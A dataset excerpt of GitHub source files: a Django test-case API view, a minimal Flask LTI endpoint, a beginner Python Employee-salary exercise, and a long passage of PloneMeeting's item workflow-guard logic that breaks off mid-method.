3 represents a small group of high-frequency, high-spending customers with recent activity.\n# \n\n# In[ ]:\n\n\n\n\n","repo_name":"chakshat27/RFM-Analysis","sub_path":"RFM &Customer Seg.(using k_means clustering).py","file_name":"RFM &Customer Seg.(using k_means clustering).py","file_ext":"py","file_size_in_byte":8518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73233700534","text":"import json\nfrom django.http import HttpResponse\nfrom django_swagger_utils.drf_server.utils.decorator.interface_decorator \\\n import validate_decorator\nfrom .validator_class import ValidatorClass\nfrom content_management_portal.interactors.create_test_case_interactor import\\\n CreateTestCaseInteractor\nfrom content_management_portal.storages.test_case_storage_implementation \\\n import TestCaseStorageImplementation\nfrom content_management_portal.storages.question_storage_implementation \\\n import QuestionStorageImplementation\nfrom content_management_portal.presenters.presenter_implementation import\\\n PresenterImplementation\n\n\n\n@validate_decorator(validator_class=ValidatorClass)\ndef api_wrapper(*args, **kwargs):\n test_case_details = kwargs['request_data']\n question_id = kwargs['question_id']\n test_case_storage = TestCaseStorageImplementation()\n presenter = PresenterImplementation()\n question_storage = QuestionStorageImplementation()\n interactor = CreateTestCaseInteractor(\n test_case_storage=test_case_storage,\n presenter=presenter,\n question_storage=question_storage\n )\n response = interactor.create_test_case(\n question_id=question_id, test_case_details=test_case_details\n )\n json_response = json.dumps(response)\n return HttpResponse(json_response, status=201)","repo_name":"bammidichandini/content_management_portal","sub_path":"content_management_portal/views/create_coding_question_test_case/api_wrapper.py","file_name":"api_wrapper.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36029717820","text":"from flask import Flask\nfrom flask import request\n\nimport logging\n\nimport xml_templates\n\n# If `entrypoint` is not defined in app.yaml, App Engine will look for an app\n# called `app` in `main.py`.\napp = Flask(__name__)\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef hello():\n print(f\"Received a request: {request.form}, {request.args}\")\n if \"lis_person_name_full\" in request.form:\n return_string = f\"

    Hello {request.form['lis_person_name_full']}!

    Data sent:

    \"\n for k, v in request.form.items():\n return_string += f\"{k}: {v}
    \"\n return return_string + \"

    \"\n return \"

    Well, hello..?

    \"\n\n\n@app.route('/lti', methods=['GET', 'POST'])\ndef lti():\n print(f\"Received a request: {request.form}, {request.args}\")\n return xml_templates.get_xml_config()\n\n\nif __name__ == '__main__':\n # This is used when running locally only. When deploying to Google App\n # Engine, a webserver process such as Gunicorn will serve the app. This\n # can be configured by adding an `entrypoint` to app.yaml.\n app.run(host='127.0.0.1', port=8080, debug=True)\n","repo_name":"autocheck-thesis/lti-provider","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5916682214","text":"'''Write a class Employee with name, age, job attributes, experience.\n Add method which calculates salary: basic_salary*(experience + job_coefficient)\n\nAdd method which calculates max experience valid for the job \nmax_experience is reached when JOB_EFFICIENCE_COEF < current salary\nand method which return if employee over experienced for the job'''\n\nclass Employee:\n\n BASIC_SALARY = 100\n\n JOB_SALARY_COEF = {\n 'developer': 1.5,\n 'devops': 2,\n 'admin': 1.25,\n 'pm': 2.5 }\n\n JOB_EFFICIENCE_COEF = {\n 'developer': 1500,\n 'devops': 2000,\n 'admin': 800,\n 'pm': 2100 }\n\n def __init__(self, name, age, job_attributes, experience):\n self.name = name\n self.age = age\n self.job_attributes = job_attributes\n self.experience = experience\n \n def calculate_salary(self):\n salary = self.BASIC_SALARY*(self.experience + self.JOB_EFFICIENCE_COEF[self.job_attributes])\n return salary\n\n def calculate_max_experience(self):\n\n if self.JOB_EFFICIENCE_COEF[self.job_attributes] < self.calculate_salary():\n return self.experience\n\n\nemployee1 = Employee(\"Bob\", 43, \"pm\", 60000)\n\nprint(employee1.calculate_max_experience())","repo_name":"marinasupernova/its_my_py","sub_path":"module4/task3.py","file_name":"task3.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27705787116","text":"# -*- coding: utf-8 -*-\n\nfrom AccessControl import ClassSecurityInfo\nfrom AccessControl import Unauthorized\nfrom AccessControl.PermissionRole import rolesForPermissionOn\nfrom Acquisition import aq_base\nfrom App.class_init import InitializeClass\nfrom appy.gen import No\nfrom archetypes.referencebrowserwidget.widget import ReferenceBrowserWidget\nfrom collections import OrderedDict\nfrom collective.behavior.talcondition.utils import _evaluateExpression\nfrom collective.contact.plonegroup.utils import get_all_suffixes\nfrom collective.contact.plonegroup.utils import get_organization\nfrom collective.contact.plonegroup.utils import get_plone_group_id\nfrom collective.iconifiedcategory.interfaces import IIconifiedInfos\nfrom copy import deepcopy\nfrom datetime import datetime\nfrom DateTime import DateTime\nfrom imio.actionspanel.utils import unrestrictedRemoveGivenObject\nfrom imio.helpers.cache import get_cachekey_volatile\nfrom imio.helpers.cache import get_current_user_id\nfrom imio.helpers.cache import get_plone_groups_for_user\nfrom imio.helpers.content import get_vocab\nfrom imio.helpers.content import get_vocab_values\nfrom imio.helpers.content import safe_delattr\nfrom imio.helpers.content import safe_encode\nfrom imio.helpers.content import uuidsToObjects\nfrom imio.helpers.content import uuidToCatalogBrain\nfrom imio.helpers.content import uuidToObject\nfrom imio.helpers.security import fplog\nfrom imio.helpers.workflow import do_transitions\nfrom imio.helpers.workflow import get_transitions\nfrom imio.helpers.xhtml import is_html\nfrom imio.history.utils import get_all_history_attr\nfrom imio.history.utils import getLastWFAction\nfrom imio.prettylink.interfaces import IPrettyLink\nfrom natsort import humansorted\nfrom OFS.ObjectManager import BeforeDeleteException\nfrom persistent.list import PersistentList\nfrom persistent.mapping import PersistentMapping\nfrom plone import api\nfrom plone.memoize import ram\nfrom Products.Archetypes.atapi import BaseFolder\nfrom Products.Archetypes.atapi import BooleanField\nfrom Products.Archetypes.atapi import DateTimeField\nfrom Products.Archetypes.atapi import DisplayList\nfrom Products.Archetypes.atapi import IntegerField\nfrom Products.Archetypes.atapi import LinesField\nfrom Products.Archetypes.atapi import MultiSelectionWidget\nfrom Products.Archetypes.atapi import OrderedBaseFolder\nfrom Products.Archetypes.atapi import OrderedBaseFolderSchema\nfrom Products.Archetypes.atapi import ReferenceField\nfrom Products.Archetypes.atapi import registerType\nfrom Products.Archetypes.atapi import RichWidget\nfrom Products.Archetypes.atapi import Schema\nfrom Products.Archetypes.atapi import SelectionWidget\nfrom Products.Archetypes.atapi import StringField\nfrom Products.Archetypes.atapi import StringWidget\nfrom Products.Archetypes.atapi import TextAreaWidget\nfrom Products.Archetypes.atapi import TextField\nfrom Products.CMFCore.permissions import ManagePortal\nfrom Products.CMFCore.permissions import ModifyPortalContent\nfrom Products.CMFCore.permissions import ReviewPortalContent\nfrom Products.CMFCore.permissions import View\nfrom Products.CMFCore.utils import _checkPermission\nfrom Products.CMFCore.WorkflowCore import WorkflowException\nfrom Products.CMFDynamicViewFTI.browserdefault import BrowserDefaultMixin\nfrom Products.CMFPlone.utils import safe_unicode\nfrom Products.PloneMeeting.browser.itemvotes import next_vote_is_linked\nfrom Products.PloneMeeting.config import AddAdvice\nfrom Products.PloneMeeting.config import AUTO_COPY_GROUP_PREFIX\nfrom Products.PloneMeeting.config import BUDGETIMPACTEDITORS_GROUP_SUFFIX\nfrom Products.PloneMeeting.config import CONSIDERED_NOT_GIVEN_ADVICE_VALUE\nfrom Products.PloneMeeting.config import DEFAULT_COPIED_FIELDS\nfrom Products.PloneMeeting.config import DUPLICATE_AND_KEEP_LINK_EVENT_ACTION\nfrom Products.PloneMeeting.config import DUPLICATE_EVENT_ACTION\nfrom Products.PloneMeeting.config import EXTRA_COPIED_FIELDS_FROM_ITEM_TEMPLATE\nfrom Products.PloneMeeting.config import EXTRA_COPIED_FIELDS_SAME_MC\nfrom Products.PloneMeeting.config import HIDDEN_DURING_REDACTION_ADVICE_VALUE\nfrom Products.PloneMeeting.config import HIDE_DECISION_UNDER_WRITING_MSG\nfrom Products.PloneMeeting.config import INSERTING_ON_ITEM_DECISION_FIRST_WORDS_NB\nfrom Products.PloneMeeting.config import ITEM_COMPLETENESS_ASKERS\nfrom Products.PloneMeeting.config import ITEM_COMPLETENESS_EVALUATORS\nfrom Products.PloneMeeting.config import ITEM_NO_PREFERRED_MEETING_VALUE\nfrom Products.PloneMeeting.config import MEETINGMANAGERS_GROUP_SUFFIX\nfrom Products.PloneMeeting.config import NO_COMMITTEE\nfrom Products.PloneMeeting.config import NO_TRIGGER_WF_TRANSITION_UNTIL\nfrom Products.PloneMeeting.config import NOT_ENCODED_VOTE_VALUE\nfrom Products.PloneMeeting.config import NOT_GIVEN_ADVICE_VALUE\nfrom Products.PloneMeeting.config import NOT_VOTABLE_LINKED_TO_VALUE\nfrom Products.PloneMeeting.config import PMMessageFactory as _\nfrom Products.PloneMeeting.config import PROJECTNAME\nfrom Products.PloneMeeting.config import ReadBudgetInfos\nfrom Products.PloneMeeting.config import READER_USECASES\nfrom Products.PloneMeeting.config import REINDEX_NEEDED_MARKER\nfrom Products.PloneMeeting.config import SENT_TO_OTHER_MC_ANNOTATION_BASE_KEY\nfrom Products.PloneMeeting.config import WriteBudgetInfos\nfrom Products.PloneMeeting.config import WriteCommitteeFields\nfrom Products.PloneMeeting.config import WriteDecision\nfrom Products.PloneMeeting.config import WriteInternalNotes\nfrom Products.PloneMeeting.config import WriteItemMeetingManagerFields\nfrom Products.PloneMeeting.config import WriteMarginalNotes\nfrom Products.PloneMeeting.content.meeting import Meeting\nfrom Products.PloneMeeting.events import item_added_or_initialized\nfrom Products.PloneMeeting.interfaces import IMeetingItem\nfrom Products.PloneMeeting.interfaces import IMeetingItemWorkflowActions\nfrom Products.PloneMeeting.interfaces import IMeetingItemWorkflowConditions\nfrom Products.PloneMeeting.model.adaptations import get_waiting_advices_infos\nfrom Products.PloneMeeting.model.adaptations import RETURN_TO_PROPOSING_GROUP_MAPPINGS\nfrom Products.PloneMeeting.utils import _addManagedPermissions\nfrom Products.PloneMeeting.utils import _base_extra_expr_ctx\nfrom Products.PloneMeeting.utils import _clear_local_roles\nfrom Products.PloneMeeting.utils import _get_category\nfrom Products.PloneMeeting.utils import _storedItemNumber_to_itemNumber\nfrom Products.PloneMeeting.utils import add_wf_history_action\nfrom Products.PloneMeeting.utils import addDataChange\nfrom Products.PloneMeeting.utils import AdvicesUpdatedEvent\nfrom Products.PloneMeeting.utils import checkMayQuickEdit\nfrom Products.PloneMeeting.utils import cleanMemoize\nfrom Products.PloneMeeting.utils import compute_item_roles_to_assign_to_suffixes\nfrom Products.PloneMeeting.utils import decodeDelayAwareId\nfrom Products.PloneMeeting.utils import down_or_up_wf\nfrom Products.PloneMeeting.utils import escape\nfrom Products.PloneMeeting.utils import fieldIsEmpty\nfrom Products.PloneMeeting.utils import forceHTMLContentTypeForEmptyRichFields\nfrom Products.PloneMeeting.utils import get_states_before\nfrom Products.PloneMeeting.utils import getCurrentMeetingObject\nfrom Products.PloneMeeting.utils import getCustomAdapter\nfrom Products.PloneMeeting.utils import getFieldVersion\nfrom Products.PloneMeeting.utils import getWorkflowAdapter\nfrom Products.PloneMeeting.utils import hasHistory\nfrom Products.PloneMeeting.utils import is_editing\nfrom Products.PloneMeeting.utils import ItemDuplicatedEvent\nfrom Products.PloneMeeting.utils import ItemDuplicatedToOtherMCEvent\nfrom Products.PloneMeeting.utils import ItemLocalRolesUpdatedEvent\nfrom Products.PloneMeeting.utils import networkdays\nfrom Products.PloneMeeting.utils import normalize\nfrom Products.PloneMeeting.utils import notifyModifiedAndReindex\nfrom Products.PloneMeeting.utils import reindex_object\nfrom Products.PloneMeeting.utils import rememberPreviousData\nfrom Products.PloneMeeting.utils import sendMail\nfrom Products.PloneMeeting.utils import sendMailIfRelevant\nfrom Products.PloneMeeting.utils import set_field_from_ajax\nfrom Products.PloneMeeting.utils import transformAllRichTextFields\nfrom Products.PloneMeeting.utils import translate_list\nfrom Products.PloneMeeting.utils import updateAnnexesAccess\nfrom Products.PloneMeeting.utils import validate_item_assembly_value\nfrom Products.PloneMeeting.utils import workday\nfrom Products.PloneMeeting.widgets.pm_textarea import render_textarea\nfrom zope.annotation.interfaces import IAnnotations\nfrom zope.component import getAdapter\nfrom zope.component import getMultiAdapter\nfrom zope.component import queryUtility\nfrom zope.event import notify\nfrom zope.i18n import translate\nfrom zope.interface import implements\nfrom zope.schema.interfaces import IVocabularyFactory\n\nimport html\nimport itertools\nimport logging\n\n\nlogger = logging.getLogger('PloneMeeting')\n\n# PloneMeetingError-related constants -----------------------------------------\nITEM_REF_ERROR = 'There was an error in the TAL expression for defining the ' \\\n 'format of an item reference. Please check this in your meeting config. ' \\\n 'Original exception: %s'\nAUTOMATIC_ADVICE_CONDITION_ERROR = \"There was an error in the TAL expression '{0}' \" \\\n \"defining if the advice of the group must be automatically asked for '{1}'. \" \\\n \"Original exception : {2}\"\nADVICE_AVAILABLE_ON_CONDITION_ERROR = \"There was an error in the TAL expression \" \\\n \"'{0} defined in the \\'Available on\\' column of the MeetingConfig.customAdvisers \" \\\n \"evaluated on {1}. Original exception : {2}\"\nAS_COPYGROUP_CONDITION_ERROR = \"There was an error in the TAL expression '{0}' \" \\\n \"defining if the a group must be set as copyGroup for item at '{1}'. \" \\\n \"Original exception : {2}\"\nAS_COPYGROUP_RES_ERROR = \"While setting automatically added copyGroups, the Plone group suffix '{0}' \" \\\n \"returned by the expression on organization '{1}' does not exist.\"\nWRONG_TRANSITION = 'Transition \"%s\" is inappropriate for adding recurring ' \\\n 'items.'\nREC_ITEM_ERROR = 'There was an error while trying to generate recurring ' \\\n 'item with id \"%s\". Unable to trigger transition \"%s\". Original error message is \"%s\".'\nBEFOREDELETE_ERROR = 'A BeforeDeleteException was raised by \"%s\" while ' \\\n 'trying to delete an item with id \"%s\"'\nWRONG_ADVICE_TYPE_ERROR = 'The given adviceType \"%s\" does not exist!'\nINSERT_ITEM_ERROR = 'There was an error when inserting the item, ' \\\n 'please contact system administrator!'\n\n\nclass MeetingItemWorkflowConditions(object):\n '''Adapts a MeetingItem to interface IMeetingItemWorkflowConditions.'''\n implements(IMeetingItemWorkflowConditions)\n security = ClassSecurityInfo()\n\n def __init__(self, item):\n self.context = item\n self.tool = api.portal.get_tool('portal_plonemeeting')\n self.cfg = self.tool.getMeetingConfig(self.context)\n self.review_state = self.context.query_state()\n\n def _publishedObjectIsMeeting(self):\n '''Is the object currently published in Plone a Meeting ?'''\n obj = getCurrentMeetingObject(self.context)\n return isinstance(obj, Meeting)\n\n def _getLastValidationState_cachekey(method, self, before_last=False, return_level=False):\n '''cachekey method for self._getLastValidationState.'''\n return self.context.getProposingGroup(), before_last, return_level\n\n # not ramcached perf tests says it does not change much\n # and this avoid useless entry in cache\n # @ram.cache(_getLastValidationState_cachekey)\n def _getLastValidationState(self, before_last=False, return_level=False):\n '''Last validation state is validation level state defined in\n MeetingConfig.itemWFValidationLevels for which the linked\n suffixed Plone group is not empty.\n If p_before_last=True, then we return before_last level.\n If p_return_level=True we return the last validation state and\n the full validation level from cfg.getItemWFValidationLevels.'''\n levels = list(self.cfg.getItemWFValidationLevels(only_enabled=True))\n res = 'itemcreated'\n # get suffixed Plone group in reverse order of defined validation levels\n levels.reverse()\n found_last = False\n found_before_last = False\n level = {}\n for level in levels:\n if self.tool.group_is_not_empty(self.context.getProposingGroup(), level['suffix']):\n res = level['state']\n if found_last:\n found_before_last = True\n else:\n found_last = True\n if (found_last and not before_last) or found_before_last:\n break\n if return_level:\n return res, level\n else:\n return res\n\n def _check_required_data(self, destination_state):\n '''Make sure required data are encoded when necessary.'''\n msg = None\n # 2 cases, either transitions are triggered automatically, it is the case\n # when item created by WS or when sent to another MC and transitions triggered,\n # in this case we only validate the 'present' transition\n # or we are using the UI (actionspanel), in this case, we validate every transitions\n if destination_state == 'presented' or \\\n ('imio.actionspanel_portal_cachekey' in self.context.REQUEST and\n not self.context.REQUEST.get('disable_check_required_data')):\n if self.context.attribute_is_used(\"category\") and \\\n not self.context.getCategory(theObject=True):\n msg = No(_('required_category_ko'))\n elif self.context.attribute_is_used('classifier') and not self.context.getClassifier():\n msg = No(_('required_classifier_ko'))\n elif (self.context.attribute_is_used('proposingGroupWithGroupInCharge') or\n self.context.attribute_is_used('groupsInCharge')) and \\\n not self.context.getGroupsInCharge():\n msg = No(_('required_groupsInCharge_ko'))\n return msg\n\n def _mayShortcutToValidationLevel(self, destinationState):\n '''When using WFAdaptation 'item_validation_shortcuts',\n is current user able to use the shortcut to p_destinationState?'''\n res = False\n if 'item_validation_shortcuts' in self.cfg.getWorkflowAdaptations():\n # get previous item validation state and check what suffixes may manage\n item_val_levels_states = self.cfg.getItemWFValidationLevels(\n data='state', only_enabled=True)\n previous_val_state = item_val_levels_states[\n item_val_levels_states.index(destinationState) - 1]\n previous_suffixes = self.cfg.getItemWFValidationLevels(\n states=[previous_val_state], data='extra_suffixes', only_enabled=True)\n previous_main_suffix = self.cfg.getItemWFValidationLevels(\n states=[previous_val_state], data='suffix', only_enabled=True)\n previous_suffixes.append(previous_main_suffix)\n previous_suffixes = tuple(set(previous_suffixes))\n previous_group_managing_item_uid = self.context.adapted()._getGroupManagingItem(\n previous_val_state)\n res = bool(self.tool.get_filtered_plone_groups_for_user(\n org_uids=[previous_group_managing_item_uid], suffixes=previous_suffixes))\n # when previous_val_state group suffix is empty, we replay _mayShortcutToValidationLevel\n # but with this previous state as destinationState\n # XXX TO BE CONFIRMED\n if not res and not self.tool.group_is_not_empty(\n previous_group_managing_item_uid, previous_main_suffix):\n return self._mayShortcutToValidationLevel(previous_val_state)\n else:\n res = True\n return res\n\n security.declarePublic('mayProposeToNextValidationLevel')\n\n def mayProposeToNextValidationLevel(self, destinationState):\n '''Check if able to propose to next validation level.'''\n res = False\n if _checkPermission(ReviewPortalContent, self.context):\n suffix = self.cfg.getItemWFValidationLevels(\n states=[destinationState], data='suffix', only_enabled=True)\n group_managing_item_uid = self.context.adapted()._getGroupManagingItem(destinationState)\n # check if next validation level suffixed Plone group is not empty\n res = self.tool.group_is_not_empty(group_managing_item_uid, suffix)\n # shortcuts are available to (Meeting)Managers\n if res and not self.tool.isManager(self.cfg):\n # check that when using shortcuts, this is available\n res = self._mayShortcutToValidationLevel(destinationState)\n # check required data only if transition is doable or we would display\n # a No button for a transition that is actually not triggerable...\n if res:\n msg = self._check_required_data(destinationState)\n if msg is not None:\n res = msg\n return res\n\n def _has_waiting_advices_transitions(self):\n '''Are there 'wait_advices_' transitions from current state and\n are there advices to wait, aka the transition would be available?'''\n res = False\n if 'waiting_advices_given_advices_required_to_validate' in \\\n self.cfg.getWorkflowAdaptations():\n wf_tool = api.portal.get_tool('portal_workflow')\n item_wf = wf_tool.getWorkflowsFor(self.context)[0]\n transitions = item_wf.states[self.review_state].transitions\n wait_advices_transitions = [tr for tr in transitions\n if tr.startswith('wait_advices_')]\n for wait_advices_tr in wait_advices_transitions:\n if self._hasAdvicesToGive(item_wf.transitions[wait_advices_tr].new_state_id):\n res = True\n break\n return res\n\n def _get_waiting_advices_icon_advisers(self):\n '''To be overrided, return adviser ids for which the waiting_advices icon\n color must be computed.'''\n return []\n\n def get_waiting_advices_icon_infos(self):\n '''Return advice for which the waiting_advices icon (pretty link)\n must be managed (red/green/blue).\n If some _get_waiting_advices_icon_advisers, check if one of these advice\n is giveable in current state, if it is the case, then compute icon color.\n Return icon name and translation msgid.'''\n res = 'wait_advices_from.png', translate(\n self.review_state, domain=\"plone\", context=self.context.REQUEST)\n for adviser_uid in self._get_waiting_advices_icon_advisers():\n if adviser_uid in self.context.adviceIndex and \\\n self.context.adviceIndex[adviser_uid]['advice_editable']:\n # check if advice is up or down WF\n advice_obj = self.context.getAdviceObj(adviser_uid)\n down_or_up = down_or_up_wf(advice_obj)\n if down_or_up:\n res = 'wait_advices_{0}_from.png'.format(down_or_up), \\\n translate('icon_help_waiting_advices_{0}'.format(down_or_up),\n domain=\"PloneMeeting\",\n context=self.context.REQUEST)\n return res\n\n security.declarePublic('mayValidate')\n\n def mayValidate(self):\n '''May validate if having ReviewPortalContent and being last item validation level.'''\n res = False\n if _checkPermission(ReviewPortalContent, self.context):\n # bypass for Manager, works with adopt_roles\n if _checkPermission(ManagePortal, self.context):\n res = True\n else:\n # user may validate if he is member of the last validation level suffixed group\n last_validation_state, last_level = self._getLastValidationState(return_level=True)\n if self.review_state == last_validation_state or \\\n ('item_validation_shortcuts' in self.cfg.getWorkflowAdaptations() and\n 'item_validation_no_validate_shortcuts' not in self.cfg.getWorkflowAdaptations() and\n get_plone_group_id(\n self.context.getProposingGroup(),\n last_level['suffix']) in get_plone_groups_for_user()):\n res = True\n if self._has_waiting_advices_transitions():\n res = No(_('has_required_waiting_advices'))\n if res:\n msg = self._check_required_data('validated')\n if msg is not None:\n res = msg\n return res\n\n security.declarePublic('mayPresent')\n\n def mayPresent(self):\n ''' '''\n # only MeetingManagers may present an item, the 'Review portal content'\n # permission is not enough as MeetingReviewer may have the 'Review portal content'\n # when using the 'reviewers_take_back_validated_item' wfAdaptation\n if not self.tool.isManager(self.cfg):\n return False\n\n # if item initial_state is \"validated\", an item could miss it's category\n msg = self._check_required_data('presented')\n if msg is not None:\n return msg\n\n # We may present the item if Plone currently publishes a meeting.\n # Indeed, an item may only be presented within a meeting.\n # if we are not on a meeting, try to get the next meeting accepting items\n if not self._publishedObjectIsMeeting():\n meeting = self.context.getMeetingToInsertIntoWhenNoCurrentMeetingObject()\n if not meeting:\n return No(_('not_able_to_find_meeting_to_present_item_into'))\n\n # here we are sure that we have a meeting that will accept the item\n # Verify if all automatic advices have been given on this item.\n if self.context.enforceAdviceMandatoriness() and \\\n not self.context.mandatoryAdvicesAreOk():\n return No(_('mandatory_advice_ko'))\n\n # all checks passed\n return True\n\n security.declarePublic('mayDecide')\n\n def mayDecide(self):\n '''May this item be \"decided\" ?'''\n res = False\n if _checkPermission(ReviewPortalContent, self.context) and \\\n self.context.hasMeeting():\n meeting = self.context.getMeeting()\n if meeting.date < datetime.now():\n if not self.context.fieldIsEmpty('decision') or not \\\n self.context.fieldIsEmpty('motivation'):\n res = True\n else:\n itemNumber = self.context.getItemNumber(relativeTo='meeting',\n for_display=True)\n res = No(_('decision_is_empty',\n mapping={'itemNumber': itemNumber}))\n return res\n\n def _userIsPGMemberAbleToSendItemBack(self, proposing_group_uid, destinationState):\n ''' '''\n suffix = self.cfg.getItemWFValidationLevels(\n states=[destinationState], data='suffix')\n # first case, is user member of destinationState level?\n res = self.tool.group_is_not_empty(\n proposing_group_uid, suffix, user_id=get_current_user_id(self.context.REQUEST))\n # in case we use shortcuts, we also check if able to go to destinationState\n # if it was the classic item validation workflow\n # so a creator could send back to \"itemcreated\" and to \"proposed\"\n if not res and \\\n self.tool.group_is_not_empty(proposing_group_uid, suffix) and \\\n 'item_validation_shortcuts' in self.cfg.getWorkflowAdaptations():\n res = self._mayShortcutToValidationLevel(destinationState)\n\n return res and \\\n self._userIsPGMemberAbleToSendItemBackExtraCondition(\n proposing_group_uid, destinationState)\n\n def _userIsPGMemberAbleToSendItemBackExtraCondition(\n self, proposingGroup, destinationState):\n ''' '''\n return True\n\n def _adviceSendableBackOnlyWhenNoMoreEditable(self, org_uid):\n '''Depending on advice WF, advice may be sendable back by adviser\n only when advice no more editable.\n By default this is not the case as default advice WF as only one\n state in which advice is always editable.'''\n return False\n\n def _currentUserIsAdviserAbleToSendItemBack(self, destinationState):\n '''Is current user an adviser able to send an item 'waiting_advices' back to other states?\n To do so :\n - every advices that should be given have to be given;\n - user must be adviser for advice;\n - if advice not given, user must be able to evaluate completeness and item must be incomplete.'''\n user_plone_groups = get_plone_groups_for_user()\n res = False\n for org_uid in self.context.adviceIndex:\n # org can give advice in current state and member is adviser for it\n # user able to evaluate completeness and item complete or\n # not able to evaluate completeness but completeness evaluation not required\n # but advice not editable, this means also advice still not added\n # this last case is \"not using completeness\"\n adapted = self.context.adapted()\n may_eval_completeness = adapted.mayEvaluateCompleteness()\n if self.review_state in self.cfg.getItemAdviceStatesForOrg(org_uid) and \\\n get_plone_group_id(org_uid, 'advisers') in user_plone_groups and \\\n (self.context._advice_is_given(org_uid) or\n (may_eval_completeness and\n not adapted._is_complete()) or\n (not may_eval_completeness and\n self.context.getCompleteness() in ['completeness_evaluation_not_required',\n 'completeness_not_yet_evaluated']) and\n (not self._adviceSendableBackOnlyWhenNoMoreEditable(org_uid) or\n not self.context.adviceIndex[org_uid]['advice_editable'])) and \\\n self._currentUserIsAdviserAbleToSendItemBackExtraCondition(org_uid, destinationState):\n res = True\n break\n return res\n\n def _currentUserIsAdviserAbleToSendItemBackExtraCondition(self, org_uid, destinationState):\n ''' '''\n return True\n\n security.declarePublic('mayCorrect')\n\n def mayCorrect(self, destinationState=None):\n '''See doc in interfaces.py.'''\n res = False\n meeting = self.context.getMeeting()\n if not meeting or (meeting and meeting.query_state() != 'closed'):\n proposingGroup = self.context.getProposingGroup()\n # when item is validated, we may eventually send back to last validation state\n wfas = self.cfg.getWorkflowAdaptations()\n last_val_state, last_level = self._getLastValidationState(return_level=True)\n if self.review_state == 'validated' and destinationState == last_val_state:\n # MeetingManager probably\n if _checkPermission(ReviewPortalContent, self.context):\n res = True\n # manage the reviewers_take_back_validated_item WFAdaptation\n elif 'reviewers_take_back_validated_item' in self.cfg.getWorkflowAdaptations():\n # is current user member of last validation level?\n res = self.tool.group_is_not_empty(\n proposingGroup, last_level['suffix'], user_id=get_current_user_id())\n # using 'waiting_advices_XXX_send_back' WFAdaptations,\n elif self.review_state.endswith('_waiting_advices'):\n item_validation_states = self.cfg.getItemWFValidationLevels(data='state', only_enabled=True)\n # compute sendable back states\n sendable_back_states = []\n # when using from last/before last validation level, able to send back to last level\n if 'waiting_advices_from_before_last_val_level' in wfas:\n sendable_back_states.append(self._getLastValidationState(before_last=True))\n if 'waiting_advices_from_last_val_level' in wfas:\n sendable_back_states.append(last_val_state)\n if 'waiting_advices_from_every_val_levels' in wfas:\n sendable_back_states = list(item_validation_states)\n if not sendable_back_states:\n # use custom values from WAITING_ADVICES_FROM_STATES\n for waiting_advice_config in get_waiting_advices_infos(self.cfg.getId()):\n sendable_back_states += list(waiting_advice_config['back_states'])\n\n # remove duplicates\n sendable_back_states = list(set(sendable_back_states))\n if destinationState in sendable_back_states or \\\n destinationState not in item_validation_states:\n # bypass for Manager, do not check on ReviewPortalContent\n # as also given to proposingGroup\n if self.tool.isManager(self.cfg):\n res = True\n else:\n # is current user proposingGroup member able to trigger transition?\n if 'waiting_advices_proposing_group_send_back' in wfas:\n res = self._userIsPGMemberAbleToSendItemBack(\n proposingGroup, destinationState)\n # if not, maybe it is an adviser able to give an advice?\n if not res and 'waiting_advices_adviser_send_back' in wfas:\n # adviser may send back to validated when using\n # 'waiting_advices_adviser_may_validate'\n if 'waiting_advices_adviser_may_validate' in wfas:\n sendable_back_states.append('validated')\n # is current user adviser able to trigger transition?\n res = self._currentUserIsAdviserAbleToSendItemBack(destinationState)\n else:\n # maybe destinationState is a validation state?\n # in this case return True only if group not empty\n suffix = self.cfg.getItemWFValidationLevels(\n states=[destinationState], data='suffix')\n res = _checkPermission(ReviewPortalContent, self.context) and \\\n (not suffix or self.tool.group_is_not_empty(proposingGroup, suffix))\n return res\n\n security.declarePublic('mayBackToMeeting')\n\n def mayBackToMeeting(self, transitionName):\n \"\"\"Specific guard for the 'return_to_proposing_group' wfAdaptation.\n As we have only one guard_expr for potentially several transitions departing\n from the 'returned_to_proposing_group' state, we receive the p_transitionName.\"\"\"\n if not _checkPermission(ReviewPortalContent, self.context) and not \\\n self.tool.isManager(self.cfg):\n return\n # when using validation states, may return when in last validation state\n if 'return_to_proposing_group' not in self.cfg.getWorkflowAdaptations():\n current_validation_state = 'itemcreated' \\\n if self.review_state == 'returned_to_proposing_group' \\\n else self.review_state.replace('returned_to_proposing_group_', '')\n last_val_state = self._getLastValidationState()\n # we are in last validation state, or we are in state 'returned_to_proposing_group'\n # and there is no last validation state, aka it is \"itemcreated\"\n if current_validation_state != last_val_state:\n return\n\n # get the linked meeting\n meeting = self.context.getMeeting()\n meetingState = meeting.query_state()\n # use RETURN_TO_PROPOSING_GROUP_MAPPINGS to know in which meetingStates\n # the given p_transitionName can be triggered\n authorizedMeetingStates = RETURN_TO_PROPOSING_GROUP_MAPPINGS[transitionName]\n # special behavior when using WFA 'itemdecided', back to itemfrozen\n # may only be done if meeting in state 'frozen'\n if 'itemdecided' in self.cfg.getWorkflowAdaptations() and \\\n transitionName == 'backTo_itemfrozen_from_returned_to_proposing_group':\n authorizedMeetingStates = ['frozen']\n if meetingState in authorizedMeetingStates:\n return True\n # if we did not return True, then return a No(...) message specifying that\n # it can no more be returned to the meeting because the meeting is in some\n # specific states (like 'closed' for example)\n if meetingState in RETURN_TO_PROPOSING_GROUP_MAPPINGS['NO_MORE_RETURNABLE_STATES']:\n # avoid to display No(...) message for each transition having the 'mayBackToMeeting'\n # guard expr, just return the No(...) msg for the first transitionName checking this...\n if 'may_not_back_to_meeting_warned_by' not in self.context.REQUEST:\n self.context.REQUEST.set('may_not_back_to_meeting_warned_by', transitionName)\n if self.context.REQUEST.get('may_not_back_to_meeting_warned_by') == transitionName:\n return No(_('can_not_return_to_meeting_because_of_meeting_state',\n mapping={'meetingState': translate(\n meetingState,\n domain='plone',\n context=self.context.REQUEST)}))\n return False\n\n security.declarePublic('mayFreeze')\n\n def mayFreeze(self):\n res = False\n if _checkPermission(ReviewPortalContent, self.context):\n meeting = self.context.getMeeting()\n if meeting and meeting.query_state() not in get_states_before(meeting, 'frozen'):\n res 